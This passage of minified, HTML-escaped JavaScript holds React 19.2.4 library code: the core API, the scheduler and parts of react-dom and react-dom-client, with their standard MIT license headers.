k(E,Q,Y){if(E==null)return E;var te=[],re=0;return w(E,te,&quot;&quot;,&quot;&quot;,function(xe){return Q.call(Y,xe,re++)}),te}function se(E){if(E._status===-1){var Q=E._result;Q=Q(),Q.then(function(Y){(E._status===0||E._status===-1)&amp;&amp;(E._status=1,E._result=Y)},function(Y){(E._status===0||E._status===-1)&amp;&amp;(E._status=2,E._result=Y)}),E._status===-1&amp;&amp;(E._status=0,E._result=Q)}if(E._status===1)return E._result.default;throw E._result}var pe=typeof reportError==&quot;function&quot;?reportError:function(E){if(typeof window==&quot;object&quot;&amp;&amp;typeof window.ErrorEvent==&quot;function&quot;){var Q=new window.ErrorEvent(&quot;error&quot;,{bubbles:!0,cancelable:!0,message:typeof E==&quot;object&quot;&amp;&amp;E!==null&amp;&amp;typeof E.message==&quot;string&quot;?String(E.message):String(E),error:E});if(!window.dispatchEvent(Q))return}else if(typeof process==&quot;object&quot;&amp;&amp;typeof process.emit==&quot;function&quot;){process.emit(&quot;uncaughtException&quot;,E);return}console.error(E)},ze={map:k,forEach:function(E,Q,Y){k(E,function(){Q.apply(this,arguments)},Y)},count:function(E){var Q=0;return k(E,function(){Q++}),Q},toArray:function(E){return k(E,function(Q){return Q})||[]},only:function(E){if(!Z(E))throw Error(&quot;React.Children.only expected to receive a single React element child.&quot;);return E}};return ve.Activity=b,ve.Children=ze,ve.Component=G,ve.Fragment=f,ve.Profiler=d,ve.PureComponent=F,ve.StrictMode=r,ve.Suspense=g,ve.__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE=q,ve.__COMPILER_RUNTIME={__proto__:null,c:function(E){return q.H.useMemoCache(E)}},ve.cache=function(E){return function(){return E.apply(null,arguments)}},ve.cacheSignal=function(){return null},ve.cloneElement=function(E,Q,Y){if(E==null)throw Error(&quot;The argument must be a React element, but you passed &quot;+E+&quot;.&quot;);var te=U({},E.props),re=E.key;if(Q!=null)for(xe in Q.key!==void 0&amp;&amp;(re=&quot;&quot;+Q.key),Q)!J.call(Q,xe)||xe===&quot;key&quot;||xe===&quot;__self&quot;||xe===&quot;__source&quot;||xe===&quot;ref&quot;&amp;&amp;Q.ref===void 0||(te[xe]=Q[xe]);var xe=arguments.length-2;if(xe===1)te.children=Y;else if(1&lt;xe){for(var Se=Array(xe),Fe=0;Fe&lt;xe;Fe++)Se[Fe]=arguments[Fe+2];te.children=Se}return H(E.type,re,te)},ve.createContext=function(E){return E={$$typeof:y,_currentValue:E,_currentValue2:E,_threadCount:0,Provider:null,Consumer:null},E.Provider=E,E.Consumer={$$typeof:p,_context:E},E},ve.createElement=function(E,Q,Y){var te,re={},xe=null;if(Q!=null)for(te in Q.key!==void 0&amp;&amp;(xe=&quot;&quot;+Q.key),Q)J.call(Q,te)&amp;&amp;te!==&quot;key&quot;&amp;&amp;te!==&quot;__self&quot;&amp;&amp;te!==&quot;__source&quot;&amp;&amp;(re[te]=Q[te]);var Se=arguments.length-2;if(Se===1)re.children=Y;else if(1&lt;Se){for(var Fe=Array(Se),Ve=0;Ve&lt;Se;Ve++)Fe[Ve]=arguments[Ve+2];re.children=Fe}if(E&amp;&amp;E.defaultProps)for(te in Se=E.defaultProps,Se)re[te]===void 0&amp;&amp;(re[te]=Se[te]);return H(E,xe,re)},ve.createRef=function(){return{current:null}},ve.forwardRef=function(E){return{$$typeof:v,render:E}},ve.isValidElement=Z,ve.lazy=function(E){return{$$typeof:S,_payload:{_status:-1,_result:E},_init:se}},ve.memo=function(E,Q){return{$$typeof:x,type:E,compare:Q===void 0?null:Q}},ve.startTransition=function(E){var Q=q.T,Y={};q.T=Y;try{var te=E(),re=q.S;re!==null&amp;&amp;re(Y,te),typeof te==&quot;object&quot;&amp;&amp;te!==null&amp;&amp;typeof te.then==&quot;function&quot;&amp;&amp;te.then(K,pe)}catch(xe){pe(xe)}finally{Q!==null&amp;&amp;Y.types!==null&amp;&amp;(Q.types=Y.types),q.T=Q}},ve.unstable_useCacheRefresh=function(){return q.H.useCacheRefresh()},ve.use=function(E){return q.H.use(E)},ve.useActionState=function(E,Q,Y){return q.H.useActionState(E,Q,Y)},ve.useCallback=function(E,Q){return q.H.useCallback(E,Q)},ve.useContext=function(E){return q.H.useContext(E)},ve.useDebugValue=function(){},ve.useDeferredValue=function(E,Q){return q.H.useDeferredValue(E,Q)},ve.useEffect=function(E,Q){return q.H.useEffect(E,Q)},ve.useEffectEvent=function(E){return q.H.useEffectEvent(E)},ve.useId=function(){return q.H.useId()},ve.useImperativeHandle=function(E,Q,Y){return q.H.useImperativeHandle(E,Q,Y)},ve.useInsertionEffect=function(E,Q){return q.H.useInsertionEffect(E,Q)},ve.useLayoutEffect=function(E,Q){return q.H.useLayoutEffect(E,Q)},ve.useMemo=function(E,Q){return q.H.useMemo(E,Q)},ve.useOptimistic=function(E,Q){return q.H.useOptimistic(E,Q)},ve.useReducer=function(E,Q,Y){return q.H.useReducer(E,Q,Y)},ve.useRef=function(E){return q.H.useRef(E)},ve.useState=function(E){return q.H.useState(E)},ve.useSyncExternalStore=function(E,Q,Y){return q.H.useSyncExternalStore(E,Q,Y)},ve.useTransition=function(){return q.H.useTransition()},ve.version=&quot;19.2.4&quot;,ve}var gm;function lr(){return gm||(gm=1,Jc.exports=Up()),Jc.exports}var m=lr(),Kc={exports:{}},In={},$c={exports:{}},Fc={};/**
 * @license React
 * scheduler.production.js
 *
 * Copyright (c) Meta Platforms, Inc. and affiliates.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 */var bm;function Hp(){return bm||(bm=1,(function(u){function c(w,k){var se=w.length;w.push(k);e:for(;0&lt;se;){var pe=se-1&gt;&gt;&gt;1,ze=w[pe];if(0&lt;d(ze,k))w[pe]=k,w[se]=ze,se=pe;else break e}}function f(w){return w.length===0?null:w[0]}function r(w){if(w.length===0)return null;var k=w[0],se=w.pop();if(se!==k){w[0]=se;e:for(var pe=0,ze=w.length,E=ze&gt;&gt;&gt;1;pe&lt;E;){var Q=2*(pe+1)-1,Y=w[Q],te=Q+1,re=w[te];if(0&gt;d(Y,se))te&lt;ze&amp;&amp;0&gt;d(re,Y)?(w[pe]=re,w[te]=se,pe=te):(w[pe]=Y,w[Q]=se,pe=Q);else if(te&lt;ze&amp;&amp;0&gt;d(re,se))w[pe]=re,w[te]=se,pe=te;else break e}}return k}function d(w,k){var se=w.sortIndex-k.sortIndex;return se!==0?se:w.id-k.id}if(u.unstable_now=void 0,typeof performance==&quot;object&quot;&amp;&amp;typeof performance.now==&quot;function&quot;){var p=performance;u.unstable_now=function(){return p.now()}}else{var y=Date,v=y.now();u.unstable_now=function(){return y.now()-v}}var g=[],x=[],S=1,b=null,A=3,V=!1,R=!1,U=!1,D=!1,G=typeof setTimeout==&quot;function&quot;?setTimeout:null,$=typeof clearTimeout==&quot;function&quot;?clearTimeout:null,F=typeof setImmediate&lt;&quot;u&quot;?setImmediate:null;function I(w){for(var k=f(x);k!==null;){if(k.callback===null)r(x);else if(k.startTime&lt;=w)r(x),k.sortIndex=k.expirationTime,c(g,k);else break;k=f(x)}}function ee(w){if(U=!1,I(w),!R)if(f(g)!==null)R=!0,K||(K=!0,B());else{var k=f(x);k!==null&amp;&amp;ne(ee,k.startTime-w)}}var K=!1,q=-1,J=5,H=-1;function W(){return D?!0:!(u.unstable_now()-H&lt;J)}function Z(){if(D=!1,K){var w=u.unstable_now();H=w;var k=!0;try{e:{R=!1,U&amp;&amp;(U=!1,$(q),q=-1),V=!0;var se=A;try{t:{for(I(w),b=f(g);b!==null&amp;&amp;!(b.expirationTime&gt;w&amp;&amp;W());){var pe=b.callback;if(typeof pe==&quot;function&quot;){b.callback=null,A=b.priorityLevel;var ze=pe(b.expirationTime&lt;=w);if(w=u.unstable_now(),typeof ze==&quot;function&quot;){b.callback=ze,I(w),k=!0;break t}b===f(g)&amp;&amp;r(g),I(w)}else r(g);b=f(g)}if(b!==null)k=!0;else{var E=f(x);E!==null&amp;&amp;ne(ee,E.startTime-w),k=!1}}break e}finally{b=null,A=se,V=!1}k=void 0}}finally{k?B():K=!1}}}var B;if(typeof F==&quot;function&quot;)B=function(){F(Z)};else if(typeof MessageChannel&lt;&quot;u&quot;){var ae=new MessageChannel,P=ae.port2;ae.port1.onmessage=Z,B=function(){P.postMessage(null)}}else B=function(){G(Z,0)};function ne(w,k){q=G(function(){w(u.unstable_now())},k)}u.unstable_IdlePriority=5,u.unstable_ImmediatePriority=1,u.unstable_LowPriority=4,u.unstable_NormalPriority=3,u.unstable_Profiling=null,u.unstable_UserBlockingPriority=2,u.unstable_cancelCallback=function(w){w.callback=null},u.unstable_forceFrameRate=function(w){0&gt;w||125&lt;w?console.error(&quot;forceFrameRate takes a positive int between 0 and 125, forcing frame rates higher than 125 fps is not supported&quot;):J=0&lt;w?Math.floor(1e3/w):5},u.unstable_getCurrentPriorityLevel=function(){return A},u.unstable_next=function(w){switch(A){case 1:case 2:case 3:var k=3;break;default:k=A}var se=A;A=k;try{return w()}finally{A=se}},u.unstable_requestPaint=function(){D=!0},u.unstable_runWithPriority=function(w,k){switch(w){case 1:case 2:case 3:case 4:case 5:break;default:w=3}var se=A;A=w;try{return k()}finally{A=se}},u.unstable_scheduleCallback=function(w,k,se){var pe=u.unstable_now();switch(typeof se==&quot;object&quot;&amp;&amp;se!==null?(se=se.delay,se=typeof se==&quot;number&quot;&amp;&amp;0&lt;se?pe+se:pe):se=pe,w){case 1:var ze=-1;break;case 2:ze=250;break;case 5:ze=1073741823;break;case 4:ze=1e4;break;default:ze=5e3}return ze=se+ze,w={id:S++,callback:k,priorityLevel:w,startTime:se,expirationTime:ze,sortIndex:-1},se&gt;pe?(w.sortIndex=se,c(x,w),f(g)===null&amp;&amp;w===f(x)&amp;&amp;(U?($(q),q=-1):U=!0,ne(ee,se-pe))):(w.sortIndex=ze,c(g,w),R||V||(R=!0,K||(K=!0,B()))),w},u.unstable_shouldYield=W,u.unstable_wrapCallback=function(w){var k=A;return function(){var se=A;A=k;try{return w.apply(this,arguments)}finally{A=se}}}})(Fc)),Fc}var jm;function qp(){return jm||(jm=1,$c.exports=Hp()),$c.exports}var Wc={exports:{}},ot={};/**
 * @license React
 * react-dom.production.js
 *
 * Copyright (c) Meta Platforms, Inc. and affiliates.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 */var Sm;function Bp(){if(Sm)return ot;Sm=1;var u=lr();function c(g){var x=&quot;https://react.dev/errors/&quot;+g;if(1&lt;arguments.length){x+=&quot;?args[]=&quot;+encodeURIComponent(arguments[1]);for(var S=2;S&lt;arguments.length;S++)x+=&quot;&amp;args[]=&quot;+encodeURIComponent(arguments[S])}return&quot;Minified React error #&quot;+g+&quot;; visit &quot;+x+&quot; for the full message or use the non-minified dev environment for full errors and additional helpful warnings.&quot;}function f(){}var r={d:{f,r:function(){throw Error(c(522))},D:f,C:f,L:f,m:f,X:f,S:f,M:f},p:0,findDOMNode:null},d=Symbol.for(&quot;react.portal&quot;);function p(g,x,S){var b=3&lt;arguments.length&amp;&amp;arguments[3]!==void 0?arguments[3]:null;return{$$typeof:d,key:b==null?null:&quot;&quot;+b,children:g,containerInfo:x,implementation:S}}var y=u.__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE;function v(g,x){if(g===&quot;font&quot;)return&quot;&quot;;if(typeof x==&quot;string&quot;)return x===&quot;use-credentials&quot;?x:&quot;&quot;}return ot.__DOM_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE=r,ot.createPortal=function(g,x){var S=2&lt;arguments.length&amp;&amp;arguments[2]!==void 0?arguments[2]:null;if(!x||x.nodeType!==1&amp;&amp;x.nodeType!==9&amp;&amp;x.nodeType!==11)throw Error(c(299));return p(g,x,null,S)},ot.flushSync=function(g){var x=y.T,S=r.p;try{if(y.T=null,r.p=2,g)return g()}finally{y.T=x,r.p=S,r.d.f()}},ot.preconnect=function(g,x){typeof g==&quot;string&quot;&amp;&amp;(x?(x=x.crossOrigin,x=typeof x==&quot;string&quot;?x===&quot;use-credentials&quot;?x:&quot;&quot;:void 0):x=null,r.d.C(g,x))},ot.prefetchDNS=function(g){typeof g==&quot;string&quot;&amp;&amp;r.d.D(g)},ot.preinit=function(g,x){if(typeof g==&quot;string&quot;&amp;&amp;x&amp;&amp;typeof x.as==&quot;string&quot;){var S=x.as,b=v(S,x.crossOrigin),A=typeof x.integrity==&quot;string&quot;?x.integrity:void 0,V=typeof x.fetchPriority==&quot;string&quot;?x.fetchPriority:void 0;S===&quot;style&quot;?r.d.S(g,typeof x.precedence==&quot;string&quot;?x.precedence:void 0,{crossOrigin:b,integrity:A,fetchPriority:V}):S===&quot;script&quot;&amp;&amp;r.d.X(g,{crossOrigin:b,integrity:A,fetchPriority:V,nonce:typeof x.nonce==&quot;string&quot;?x.nonce:void 0})}},ot.preinitModule=function(g,x){if(typeof g==&quot;string&quot;)if(typeof x==&quot;object&quot;&amp;&amp;x!==null){if(x.as==null||x.as===&quot;script&quot;){var S=v(x.as,x.crossOrigin);r.d.M(g,{crossOrigin:S,integrity:typeof x.integrity==&quot;string&quot;?x.integrity:void 0,nonce:typeof x.nonce==&quot;string&quot;?x.nonce:void 0})}}else x==null&amp;&amp;r.d.M(g)},ot.preload=function(g,x){if(typeof g==&quot;string&quot;&amp;&amp;typeof x==&quot;object&quot;&amp;&amp;x!==null&amp;&amp;typeof x.as==&quot;string&quot;){var S=x.as,b=v(S,x.crossOrigin);r.d.L(g,S,{crossOrigin:b,integrity:typeof x.integrity==&quot;string&quot;?x.integrity:void 0,nonce:typeof x.nonce==&quot;string&quot;?x.nonce:void 0,type:typeof x.type==&quot;string&quot;?x.type:void 0,fetchPriority:typeof x.fetchPriority==&quot;string&quot;?x.fetchPriority:void 0,referrerPolicy:typeof x.referrerPolicy==&quot;string&quot;?x.referrerPolicy:void 0,imageSrcSet:typeof x.imageSrcSet==&quot;string&quot;?x.imageSrcSet:void 0,imageSizes:typeof x.imageSizes==&quot;string&quot;?x.imageSizes:void 0,media:typeof x.media==&quot;string&quot;?x.media:void 0})}},ot.preloadModule=function(g,x){if(typeof g==&quot;string&quot;)if(x){var S=v(x.as,x.crossOrigin);r.d.m(g,{as:typeof x.as==&quot;string&quot;&amp;&amp;x.as!==&quot;script&quot;?x.as:void 0,crossOrigin:S,integrity:typeof x.integrity==&quot;string&quot;?x.integrity:void 0})}else r.d.m(g)},ot.requestFormReset=function(g){r.d.r(g)},ot.unstable_batchedUpdates=function(g,x){return g(x)},ot.useFormState=function(g,x,S){return y.H.useFormState(g,x,S)},ot.useFormStatus=function(){return y.H.useHostTransitionStatus()},ot.version=&quot;19.2.4&quot;,ot}var Nm;function Lp(){if(Nm)return Wc.exports;Nm=1;function u(){if(!(typeof __REACT_DEVTOOLS_GLOBAL_HOOK__&gt;&quot;u&quot;||typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE!=&quot;function&quot;))try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(u)}catch(c){console.error(c)}}return u(),Wc.exports=Bp(),Wc.exports}/**
 * @license React
 * react-dom-client.production.js
 *
 * Copyright (c) Meta Platforms, Inc. and affiliates.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 */var Em;function Gp(){if(Em)return In;Em=1;var u=qp(),c=lr(),f=Lp();function r(e){var t=&quot;https://react.dev/errors/&quot;+e;if(1&lt;arguments.length){t+=&quot;?args[]=&quot;+encodeURIComponent(arguments[1]);for(var a=2;a&lt;arguments.length;a++)t+=&quot;&amp;args[]=&quot;+encodeURIComponent(arguments[a])}return&quot;Minified React error #&quot;+e+&quot;; visit &quot;+t+&quot; for the full message or use the non-minified dev environment for full errors and additional helpful warnings.&quot;}function d(e){return!(!e||e.nodeType!==1&amp;&amp;e.nodeType!==9&amp;&amp;e.nodeType!==11)}function p(e){var t=e,a=e;if(e.alternate)for(;t.return;)t=t.return;else{e=t;do t=e,(t.flags&amp;4098)!==0&amp;&amp;(a=t.return),e=t.return;while(e)}return t.tag===3?a:null}function y(e){if(e.tag===13){var t=e.memoizedState;if(t===null&amp;&amp;(e=e.alternate,e!==null&amp;&amp;(t=e.memoizedState)),t!==null)return t.dehydrated}return null}function v(e){if(e.tag===31){var t=e.memoizedState;if(t===null&amp;&amp;(e=e.alternate,e!==null&amp;&amp;(t=e.memoizedState)),t!==null)return t.dehydrated}return null}function g(e){if(p(e)!==e)throw Error(r(188))}function x(e){var t=e.alternate;if(!t){if(t=p(e),t===null)throw Error(r(188));return t!==e?null:e}for(var a=e,l=t;;){var n=a.return;if(n===null)break;var i=n.alternate;if(i===null){if(l=n.return,l!==null){a=l;continue}break}if(n.child===i.child){for(i=n.child;i;){if(i===a)return g(n),e;if(i===l)return g(n),t;i=i.sibling}throw Error(r(188))}if(a.return!==l.return)a=n,l=i;else{for(var o=!1,h=n.child;h;){if(h===a){o=!0,a=n,l=i;break}if(h===l){o=!0,l=n,a=i;break}h=h.sibling}if(!o){for(h=i.child;h;){if(h===a){o=!0,a=i,l=n;break}if(h===l){o=!0,l=i,a=n;break}h=h.sibling}if(!o)throw Error(r(189))}}if(a.alternate!==l)throw Error(r(190))}if(a.tag!==3)throw Error(r(188));return a.stateNode.current===a?e:t}function S(e){var t=e.tag;if(t===5||t===26||t===27||t===6)return e;for(e=e.child;e!==null;){if(t=S(e),t!==null)return t;e=e.sibling}return null}var b=Object.assign,A=Symbol.for(&quot;react.element&quot;),V=Symbol.for(&quot;react.transitional.element&quot;),R=Symbol.for(&quot;react.portal&quot;),U=Symbol.for(&quot;react.fragment&quot;),D=Symbol.for(&quot;react.strict_mode&quot;),G=Symbol.for(&quot;react.profiler&quot;),$=Symbol.for(&quot;react.consumer&quot;),F=Symbol.for(&quot;react.context&quot;),I=Symbol.for(&quot;react.forward_ref&quot;),ee=Symbol.for(&quot;react.suspense&quot;),K=Symbol.for(&quot;react.suspense_list&quot;),q=Symbol.for(&quot;react.memo&quot;),J=Symbol.for(&quot;react.lazy&quot;),H=Symbol.for(&quot;react.activity&quot;),W=Symbol.for(&quot;react.memo_cache_sentinel&quot;),Z=Symbol.iterator;function B(e){return e===null||typeof e!=&quot;object&quot;?null:(e=Z&amp;&amp;e[Z]||e[&quot;@@iterator&quot;],typeof e==&quot;function&quot;?e:null)}var ae=Symbol.for(&quot;react.client.reference&quot;);function P(e){if(e==null)return null;if(typeof e==&quot;function&quot;)return e.$$typeof===ae?null:e.displayName||e.name||null;if(typeof e==&quot;string&quot;)return e;switch(e){case U:return&quot;Fragment&quot;;case G:return&quot;Profiler&quot;;case D:return&quot;StrictMode&quot;;case ee:return&quot;Suspense&quot;;case K:return&quot;SuspenseList&quot;;case H:return&quot;Activity&quot;}if(typeof e==&quot;object&quot;)switch(e.$$typeof){case R:return&quot;Portal&quot;;case F:return e.displayName||&quot;Context&quot;;case $:return(e._context.displayName||&quot;Context&quot;)+&quot;.Consumer&quot;;case I:var t=e.render;return e=e.displayName,e||(e=t.displayName||t.name||&quot;&quot;,e=e!==&quot;&quot;?&quot;ForwardRef(&quot;+e+&quot;)&quot;:&quot;ForwardRef&quot;),e;case q:return t=e.displayName||null,t!==null?t:P(e.type)||&quot;Memo&quot;;case J:t=e._payload,e=e._init;try{return P(e(t))}catch{}}return null}var ne=Array.isArray,w=c.__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE,k=f.__DOM_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE,se={pending:!1,data:null,method:null,action:null},pe=[],ze=-1;function E(e){return{current:e}}function Q(e){0&gt;ze||(e.current=pe[ze],pe[ze]=null,ze--)}function Y(e,t){ze++,pe[ze]=e.current,e.current=t}var te=E(null),re=E(null),xe=E(null),Se=E(null);function Fe(e,t){switch(Y(xe,t),Y(re,e),Y(te,null),t.nodeType){case 9:case 11:e=(e=t.documentElement)&amp;&amp;(e=e.namespaceURI)?Ld(e):0;break;default:if(e=t.tagName,t=t.namespaceURI)t=Ld(t),e=Gd(t,e);else switch(e){case&quot;svg&quot;:e=1;break;case&quot;math&quot;:e=2;break;default:e=0}}Q(te),Y(te,e)}function Ve(){Q(te),Q(re),Q(xe)}function Ka(e){e.memoizedState!==null&amp;&amp;Y(Se,e);var t=te.current,a=Gd(t,e.type);t!==a&amp;&amp;(Y(re,e),Y(te,a))}function hl(e){re.current===e&amp;&amp;(Q(te),Q(re)),Se.current===e&amp;&amp;(Q(Se),Jn._currentValue=se)}var he,Dt;function Me(e){if(he===void 0)try{throw Error()}catch(a){var t=a.stack.trim().match(/\n( *(at )?)/);he=t&amp;&amp;t[1]||&quot;&quot;,Dt=-1&lt;a.stack.indexOf(`
    at`)?&quot; (&lt;anonymous&gt;)&quot;:-1&lt;a.stack.indexOf(&quot;@&quot;)?&quot;@unknown:0:0&quot;:&quot;&quot;}return`
`+he+e+Dt}var Sa=!1;function zi(e,t){if(!e||Sa)return&quot;&quot;;Sa=!0;var a=Error.prepareStackTrace;Error.prepareStackTrace=void 0;try{var l={DetermineComponentFrameRoot:function(){try{if(t){var X=function(){throw Error()};if(Object.defineProperty(X.prototype,&quot;props&quot;,{set:function(){throw Error()}}),typeof Reflect==&quot;object&quot;&amp;&amp;Reflect.construct){try{Reflect.construct(X,[])}catch(O){var z=O}Reflect.construct(e,[],X)}else{try{X.call()}catch(O){z=O}e.call(X.prototype)}}else{try{throw Error()}catch(O){z=O}(X=e())&amp;&amp;typeof X.catch==&quot;function&quot;&amp;&amp;X.catch(function(){})}}catch(O){if(O&amp;&amp;z&amp;&amp;typeof O.stack==&quot;string&quot;)return[O.stack,z.stack]}return[null,null]}};l.DetermineComponentFrameRoot.displayName=&quot;DetermineComponentFrameRoot&quot;;var n=Object.getOwnPropertyDescriptor(l.DetermineComponentFrameRoot,&quot;name&quot;);n&amp;&amp;n.configurable&amp;&amp;Object.defineProperty(l.DetermineComponentFrameRoot,&quot;name&quot;,{value:&quot;DetermineComponentFrameRoot&quot;});var i=l.DetermineComponentFrameRoot(),o=i[0],h=i[1];if(o&amp;&amp;h){var j=o.split(`
`),C=h.split(`
`);for(n=l=0;l&lt;j.length&amp;&amp;!j[l].includes(&quot;DetermineComponentFrameRoot&quot;);)l++;for(;n&lt;C.length&amp;&amp;!C[n].includes(&quot;DetermineComponentFrameRoot&quot;);)n++;if(l===j.length||n===C.length)for(l=j.length-1,n=C.length-1;1&lt;=l&amp;&amp;0&lt;=n&amp;&amp;j[l]!==C[n];)n--;for(;1&lt;=l&amp;&amp;0&lt;=n;l--,n--)if(j[l]!==C[n]){if(l!==1||n!==1)do if(l--,n--,0&gt;n||j[l]!==C[n]){var M=`
`+j[l].replace(&quot; at new &quot;,&quot; at &quot;);return e.displayName&amp;&amp;M.includes(&quot;&lt;anonymous&gt;&quot;)&amp;&amp;(M=M.replace(&quot;&lt;anonymous&gt;&quot;,e.displayName)),M}while(1&lt;=l&amp;&amp;0&lt;=n);break}}}finally{Sa=!1,Error.prepareStackTrace=a}return(a=e?e.displayName||e.name:&quot;&quot;)?Me(a):&quot;&quot;}function ch(e,t){switch(e.tag){case 26:case 27:case 5:return Me(e.type);case 16:return Me(&quot;Lazy&quot;);case 13:return e.child!==t&amp;&amp;t!==null?Me(&quot;Suspense Fallback&quot;):Me(&quot;Suspense&quot;);case 19:return Me(&quot;SuspenseList&quot;);case 0:case 15:return zi(e.type,!1);case 11:return zi(e.type.render,!1);case 1:return zi(e.type,!0);case 31:return Me(&quot;Activity&quot;);default:return&quot;&quot;}}function hr(e){try{var t=&quot;&quot;,a=null;do t+=ch(e,a),a=e,e=e.return;while(e);return t}catch(l){return`
Error generating stack: `+l.message+`
`+l.stack}}var Ri=Object.prototype.hasOwnProperty,Oi=u.unstable_scheduleCallback,wi=u.unstable_cancelCallback,rh=u.unstable_shouldYield,oh=u.unstable_requestPaint,jt=u.unstable_now,fh=u.unstable_getCurrentPriorityLevel,pr=u.unstable_ImmediatePriority,xr=u.unstable_UserBlockingPriority,ls=u.unstable_NormalPriority,dh=u.unstable_LowPriority,vr=u.unstable_IdlePriority,mh=u.log,hh=u.unstable_setDisableYieldValue,nn=null,St=null;function Na(e){if(typeof mh==&quot;function&quot;&amp;&amp;hh(e),St&amp;&amp;typeof St.setStrictMode==&quot;function&quot;)try{St.setStrictMode(nn,e)}catch{}}var Nt=Math.clz32?Math.clz32:vh,ph=Math.log,xh=Math.LN2;function vh(e){return e&gt;&gt;&gt;=0,e===0?32:31-(ph(e)/xh|0)|0}var ns=256,ss=262144,is=4194304;function $a(e){var t=e&amp;42;if(t!==0)return t;switch(e&amp;-e){case 1:return 1;case 2:return 2;case 4:return 4;case 8:return 8;case 16:return 16;case 32:return 32;case 64:return 64;case 128:return 128;case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:return e&amp;261888;case 262144:case 524288:case 1048576:case 2097152:return e&amp;3932160;case 4194304:case 8388608:case 16777216:case 33554432:return e&amp;62914560;case 67108864:return 67108864;case 134217728:return 134217728;case 268435456:return 268435456;case 536870912:return 536870912;case 1073741824:return 0;default:return e}}function us(e,t,a){var l=e.pendingLanes;if(l===0)return 0;var n=0,i=e.suspendedLanes,o=e.pingedLanes;e=e.warmLanes;var h=l&amp;134217727;return h!==0?(l=h&amp;~i,l!==0?n=$a(l):(o&amp;=h,o!==0?n=$a(o):a||(a=h&amp;~e,a!==0&amp;&amp;(n=$a(a))))):(h=l&amp;~i,h!==0?n=$a(h):o!==0?n=$a(o):a||(a=l&amp;~e,a!==0&amp;&amp;(n=$a(a)))),n===0?0:t!==0&amp;&amp;t!==n&amp;&amp;(t&amp;i)===0&amp;&amp;(i=n&amp;-n,a=t&amp;-t,i&gt;=a||i===32&amp;&amp;(a&amp;4194048)!==0)?t:n}function sn(e,t){return(e.pendingLanes&amp;~(e.suspendedLanes&amp;~e.pingedLanes)&amp;t)===0}function yh(e,t){switch(e){case 1:case 2:case 4:case 8:case 64:return t+250;case 16:case 32:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return t+5e3;case 4194304:case 8388608:case 16777216:case 33554432:return-1;case 67108864:case 134217728:case 268435456:case 536870912:case 1073741824:return-1;default:return-1}}function yr(){var e=is;return is&lt;&lt;=1,(is&amp;62914560)===0&amp;&amp;(is=4194304),e}function Di(e){for(var t=[],a=0;31&gt;a;a++)t.push(e);return t}function un(e,t){e.pendingLanes|=t,t!==268435456&amp;&amp;(e.suspendedLanes=0,e.pingedLanes=0,e.warmLanes=0)}function gh(e,t,a,l,n,i){var o=e.pendingLanes;e.pendingLanes=a,e.suspendedLanes=0,e.pingedLanes=0,e.warmLanes=0,e.expiredLanes&amp;=a,e.entangledLanes&amp;=a,e.errorRecoveryDisabledLanes&amp;=a,e.shellSuspendCounter=0;var h=e.entanglements,j=e.expirationTimes,C=e.hiddenUpdates;for(a=o&amp;~a;0&lt;a;){var M=31-Nt(a),X=1&lt;&lt;M;h[M]=0,j[M]=-1;var z=C[M];if(z!==null)for(C[M]=null,M=0;M&lt;z.length;M++){var O=z[M];O!==null&amp;&amp;(O.lane&amp;=-536870913)}a&amp;=~X}l!==0&amp;&amp;gr(e,l,0),i!==0&amp;&amp;n===0&amp;&amp;e.tag!==0&amp;&amp;(e.suspendedLanes|=i&amp;~(o&amp;~t))}function gr(e,t,a){e.pendingLanes|=t,e.suspendedLanes&amp;=~t;var l=31-Nt(t);e.entangledLanes|=t,e.entanglements[l]=e.entanglements[l]|1073741824|a&amp;261930}function br(e,t){var a=e.entangledLanes|=t;for(e=e.entanglements;a;){var l=31-Nt(a),n=1&lt;&lt;l;n&amp;t|e[l]&amp;t&amp;&amp;(e[l]|=t),a&amp;=~n}}function jr(e,t){var a=t&amp;-t;return a=(a&amp;42)!==0?1:Mi(a),(a&amp;(e.suspendedLanes|t))!==0?0:a}function Mi(e){switch(e){case 2:e=1;break;case 8:e=4;break;case 32:e=16;break;case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:case 4194304:case 8388608:case 16777216:case 33554432:e=128;break;case 268435456:e=134217728;break;default:e=0}return e}function Ui(e){return e&amp;=-e,2&lt;e?8&lt;e?(e&amp;134217727)!==0?32:268435456:8:2}function Sr(){var e=k.p;return e!==0?e:(e=window.event,e===void 0?32:rm(e.type))}function Nr(e,t){var a=k.p;try{return k.p=e,t()}finally{k.p=a}}var Ea=Math.random().toString(36).slice(2),st=&quot;__reactFiber$&quot;+Ea,mt=&quot;__reactProps$&quot;+Ea,pl=&quot;__reactContainer$&quot;+Ea,Hi=&quot;__reactEvents$&quot;+Ea,bh=&quot;__reactListeners$&quot;+Ea,jh=&quot;__reactHandles$&quot;+Ea,Er=&quot;__reactResources$&quot;+Ea,cn=&quot;__reactMarker$&quot;+Ea;function qi(e){delete e[st],delete e[mt],delete e[Hi],delete e[bh],delete e[jh]}function xl(e){var t=e[st];if(t)return t;for(var a=e.parentNode;a;){if(t=a[pl]||a[st]){if(a=t.alternate,t.child!==null||a!==null&amp;&amp;a.child!==null)for(e=Jd(e);e!==null;){if(a=e[st])return a;e=Jd(e)}return t}e=a,a=e.parentNode}return null}function vl(e){if(e=e[st]||e[pl]){var t=e.tag;if(t===5||t===6||t===13||t===31||t===26||t===27||t===3)return e}return null}function rn(e){var t=e.tag;if(t===5||t===26||t===27||t===6)return e.stateNode;throw Error(r(33))}function yl(e){var t=e[Er];return 